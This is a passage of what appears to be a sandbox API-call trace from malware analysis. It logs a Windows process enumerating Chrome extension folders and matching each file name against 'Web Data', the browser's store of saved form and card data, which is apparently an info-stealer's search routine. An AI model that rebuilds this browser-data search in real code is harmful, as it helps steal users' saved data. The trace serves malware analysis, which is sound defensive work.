IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*" [0056.232] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.232] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.232] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.232] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.232] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.232] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.232] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.232] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.232] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.234] LocalFree (hMem=0x2daec0) returned 0x0 [0056.234] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.234] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.234] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.234] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.234] lstrlenA (lpString="\\") returned 1 [0056.234] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.234] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.234] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.234] lstrlenA (lpString="vi") returned 2 [0056.234] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.234] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.234] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi" [0056.234] LocalFree (hMem=0x2daca0) returned 0x0 [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned 132 [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned 132 [0056.234] lstrlenA (lpString="\\*.*") returned 4 [0056.234] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.234] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi" [0056.234] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*" [0056.234] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.234] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.234] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.234] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.234] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.234] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.234] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.234] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.234] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.234] LocalFree (hMem=0x2daec0) returned 0x0 [0056.234] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.234] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.234] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.234] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.234] lstrlenA (lpString="\\") returned 1 [0056.234] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.234] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.234] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.234] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.235] lstrlenA (lpString="zh_CN") returned 5 [0056.235] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.235] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.235] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN" [0056.235] LocalFree (hMem=0x2daca0) returned 0x0 [0056.235] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned 135 [0056.235] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned 135 [0056.235] lstrlenA (lpString="\\*.*") returned 4 [0056.235] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.235] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN" [0056.235] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*" [0056.235] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.235] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.235] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.235] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.235] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.235] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.235] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.235] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.235] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.235] LocalFree (hMem=0x2daec0) returned 0x0 [0056.235] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.235] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.235] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.235] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.235] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.235] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.235] lstrlenA (lpString="\\") returned 1 [0056.235] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.235] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.235] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.235] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.235] lstrlenA (lpString="zh_TW") returned 5 [0056.235] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.235] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.235] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW" [0056.235] LocalFree (hMem=0x2daca0) returned 0x0 [0056.235] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned 135 [0056.235] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned 135 [0056.235] lstrlenA (lpString="\\*.*") returned 4 [0056.235] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.235] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW" [0056.235] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*" [0056.235] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.236] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.236] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.236] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.236] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.236] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.236] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.236] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.236] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.236] LocalFree (hMem=0x2daec0) returned 0x0 [0056.236] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.236] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.236] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.236] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.236] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.236] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.236] lstrcmpiA (lpString1=".", lpString2="_metadata") returned -1 [0056.236] lstrcmpiA (lpString1="..", lpString2="_metadata") returned -1 [0056.236] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned 120 [0056.236] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned 120 [0056.236] lstrlenA (lpString="\\") returned 1 [0056.236] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x2dedd8 [0056.236] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0056.236] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0056.236] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned 121 [0056.236] lstrlenA (lpString="_metadata") returned 9 [0056.236] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2d9b88 [0056.236] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0056.236] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata" [0056.236] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.236] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned 130 [0056.236] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned 130 [0056.236] lstrlenA (lpString="\\*.*") returned 4 [0056.236] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dedd8 [0056.236] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata" [0056.236] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*" [0056.236] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.236] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.236] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.236] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.236] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.236] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.236] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.237] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.237] 